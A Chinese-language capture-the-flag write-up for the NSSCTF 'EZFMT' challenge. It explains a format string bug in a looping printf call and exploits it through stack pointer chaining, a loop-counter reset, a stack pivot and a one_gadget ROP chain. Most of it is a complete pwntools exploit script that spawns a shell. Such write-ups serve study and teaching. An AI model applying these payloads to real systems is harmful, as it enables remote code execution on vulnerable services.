NSSCTF EZFMT -- 格式化字符串栈溢出

First Post:

Last Update:

NSSCTF EZFMT – 格式化字符串栈溢出

这道题感觉是格式化字符串使用比较全面的例子,留个档记录下。

保护查看与静态分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

程序为amd64架构,开启了NXpartial RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

init_io(argc, argv, envp);
puts("Welcome to 3rd");
puts("fmt challenge");
for ( i = 0; i <= 6; ++i )
{
puts(">");
read(0, buf, 0x100uLL);
printf(buf);
}
return 0;
}

IDA静态分析如上,发现main函数中存在格式化字符串漏洞,允许向bss段中写入0x100个字节,总计可以执行7次。

漏洞利用

printf会从栈中取参数,但我们的输入却在bss上,因此我们不能直接向栈中写入地址,因此我们考虑栈迁移到bss段。如果我们想要栈迁移,不可避免的是修改rbp,如果我们可以往栈内输入,可以直接泄露栈地址向栈中输入rbp的地址,再利用%n实现修改rbp。但我们不能向栈内写时,该如何修改栈中的数据呢。

我们首先开始调试,将断点下在printf前,查看栈内状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> stack 0x30
00:0000│ rsp 0x7fffffffdf68 —▸ 0x401247 (main+106) ◂— add dword ptr [rbp - 4], 1
01:0008│-010 0x7fffffffdf70 —▸ 0x7fffffffe070 ◂— 1
02:0010│-008 0x7fffffffdf78 ◂— 0
03:0018│ rbp 0x7fffffffdf80 ◂— 0
04:0020│+008 0x7fffffffdf88 —▸ 0x7ffff7df9083 (__libc_start_main+243) ◂— mov edi, eax
05:0028│+010 0x7fffffffdf90 ◂— 0x50 /* 'P' */
06:0030│+018 0x7fffffffdf98 —▸ 0x7fffffffe078 —▸ 0x7fffffffe3a7 ◂— '/home/dov3/quz/NSS/ezfmt/pwn'
07:0038│+020 0x7fffffffdfa0 ◂— 0x1f7fbd7a0
08:0040│+028 0x7fffffffdfa8 —▸ 0x4011dd (main) ◂— endbr64
09:0048│+030 0x7fffffffdfb0 —▸ 0x401260 (__libc_csu_init) ◂— endbr64
0a:0050│+038 0x7fffffffdfb8 ◂— 0x24f5fc9ff668308d
0b:0058│+040 0x7fffffffdfc0 —▸ 0x4010b0 (_start) ◂— endbr64
0c:0060│+048 0x7fffffffdfc8 —▸ 0x7fffffffe070 ◂— 1
0d:0068│+050 0x7fffffffdfd0 ◂— 0
0e:0070│+058 0x7fffffffdfd8 ◂— 0
0f:0078│+060 0x7fffffffdfe0 ◂— 0xdb0a03604948308d
10:0080│+068 0x7fffffffdfe8 ◂— 0xdb0a1320d606308d
11:0088│+070 0x7fffffffdff0 ◂— 0
... ↓ 2 skipped
14:00a0│+088 0x7fffffffe008 ◂— 1
15:00a8│+090 0x7fffffffe010 —▸ 0x7fffffffe078 —▸ 0x7fffffffe3a7 ◂— '/home/dov3/quz/NSS/ezfmt/pwn'
16:00b0│+098 0x7fffffffe018 —▸ 0x7fffffffe088 —▸ 0x7fffffffe3c4 ◂— 'SHELL=/bin/bash'
17:00b8│+0a0 0x7fffffffe020 —▸ 0x7ffff7ffe190 ◂— 0
18:00c0│+0a8 0x7fffffffe028 ◂— 0
19:00c8│+0b0 0x7fffffffe030 ◂— 0
1a:00d0│+0b8 0x7fffffffe038 —▸ 0x4010b0 (_start) ◂— endbr64
1b:00d8│+0c0 0x7fffffffe040 —▸ 0x7fffffffe070 ◂— 1
1c:00e0│+0c8 0x7fffffffe048 ◂— 0
1d:00e8│+0d0 0x7fffffffe050 ◂— 0
1e:00f0│+0d8 0x7fffffffe058 —▸ 0x4010de (_start+46) ◂— hlt
1f:00f8│+0e0 0x7fffffffe060 —▸ 0x7fffffffe068 ◂— 0x1c
20:0100│+0e8 0x7fffffffe068 ◂— 0x1c
21:0108│ r13 0x7fffffffe070 ◂— 1
22:0110│+0f8 0x7fffffffe078 —▸ 0x7fffffffe3a7 ◂— '/home/dov3/quz/NSS/ezfmt/pwn'
23:0118│+100 0x7fffffffe080 ◂— 0
24:0120│+108 0x7fffffffe088 —▸ 0x7fffffffe3c4 ◂— 'SHELL=/bin/bash'

我们可以看到,rbp + 0x18的位置 存了rbp + 0xf8的地址,而这个地址内又存了另一个栈中的地址。利用这一结构,我们就能实现对栈内的数据进行写。

首先我们通过%n修改rbp + 0x18处的地址为我们想要修改的位置的地址,由于按页加载机制,我们只需要覆写低地址几位即可。这时rbp + 0xf8处就存了我们想要修改的地址。之后再次通过%n修改这一地址即可实现任意地址写,这道题我们则需要修改rbp与返回地址。

这样我们可以得到一组payload,每次利用需要用掉两次输入机会。

1
2
3
4
payload1 = ("%{}c%11$hn".format(target)).encode()
payload2 = ("%{}c%39$hn".format(content)).encode()
#其中hn仅作示例,可自由替换为n与hhn

考虑到我们修改一个地址可能需要利用多次,7次的限制可能会很紧俏。但好消息是我们发现已经循环次数也存在栈中,因此我们同样可以修改这一数值。我们只需要在次数不够用时把这个值缩小即可继续进行利用。

我们需要栈迁移的话,需要两次leave;ret,因此我们还需要修改返回地址。修改方法和上面相同。

整体的利用流程如下

1
2
3
1,泄露栈地址以及libc地址
2,修改rbp与返回地址
3,写入ROP执行栈迁移得到shell

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
from LibcSearcher import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch = 'amd64'
context.log_level = 'debug'

binary = './pwn'
libelf = ''

if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

io = process("./pwn")
#io = remote("node8.anna.nssctf.cn",23875)
#通过格式化字符串泄露libc与栈地址
payload1 = b"%39$lx.%3$lx.%11$lx" #read + 18 | rbp + 0x118
ru(b">\n")
sl(payload1)
aim = int(ru(b"."),16)
ls(hex(aim))
libc_read = int(ru(b"."),16)-18
rbp = int(ru(b"\n",),16) - 0x118 +0x20
ls(hex(libc_read))
ls(hex(rbp))
libc = LibcSearcher("read",libc_read)
libc_base = libc_read - libc.dump("read")
one_gadget = libc_base + 0xe3afe
bin_sh = libc_base + libc.dump("str_bin_sh")
rdi_ret = 0x4012c3
r12_13_14_15 = 0x4012bc
ls(hex(libc_base))
#修改rbp为bss上地址
a = rbp & 0xffff
ls(hex(a))
payload2 = ("%{}c%11$hn".format(a)).encode()
ru(b">\n")
sl(payload2)
b = 0x4088
payload3 = ("%{}c%39$hn".format(b)).encode()
ru(b">\n")
#gdb.attach(io)
sl(payload3)
c = a+2
ls(hex(c))
payload4 = ("%{}c%11$hn".format(c)).encode()
ru(b">\n")
sl(payload4)
b = 0x40
payload5 = ("%{}c%39$hhn".format(b)).encode()
ru(b">\n")
sl(payload5)
#修改次数判断的部分,增加利用次数
d = a-4
ls(hex(d))
payload6 = ("%{}c%11$hn".format(d)).encode()
ru(b">\n")
sl(payload6)
payload5 = ("%39$hhn").encode()
ru(b">\n")
sl(payload5)
#修改返回地址为leave;ret,这里修改了末4字节
d = a+8
ls(hex(d))
payload6 = ("%{}c%11$hn".format(d)).encode()
ru(b">\n")
sl(payload6)
b = 0x1256
payload5 = ("%{}c%39$hn".format(b)).encode()
ru(b">\n")
sl(payload5)
d = a+10
ls(hex(d))
payload6 = ("%{}c%11$hn".format(d)).encode()
ru(b">\n")
sl(payload6)
b = 0x40
payload5 = ("%{}c%39$hn".format(b)).encode()
ru(b">\n")
sl(payload5)
#修改次数判断的部分,增加利用次数
d = a-4
ls(hex(d))
payload6 = ("%{}c%11$hn".format(d)).encode()
ru(b">\n")
sl(payload6)
b = 0x3
payload5 = ("%{}c%39$hhn".format(b)).encode()
ru(b">\n")
sl(payload5)
#继续修改返回地址,这里修改首4字节
d = a+12
ls(hex(d))
payload6 = ("%{}c%11$hn".format(d)).encode()
ru(b">\n")
sl(payload6)
payload5 = ("%39$n").encode()
ru(b">\n")
sl(payload5)
#写入ROP栈迁移到bss执行onegadget
payload6 = p64(rbp)+p64(rbp)+p64(rdi_ret)+p64(bin_sh)+p64(r12_13_14_15)+ p64(0)*4 +p64(one_gadget)
ru(b">\n")
#gdb.attach(io)
sl(payload6)
itr()

后记

一开始尝试使用system拿到shell,但尝试后发现system会向rsp-0x300左右的一个位置写,这里没有权限导致无法执行。最后换成了one_gadget才得以执行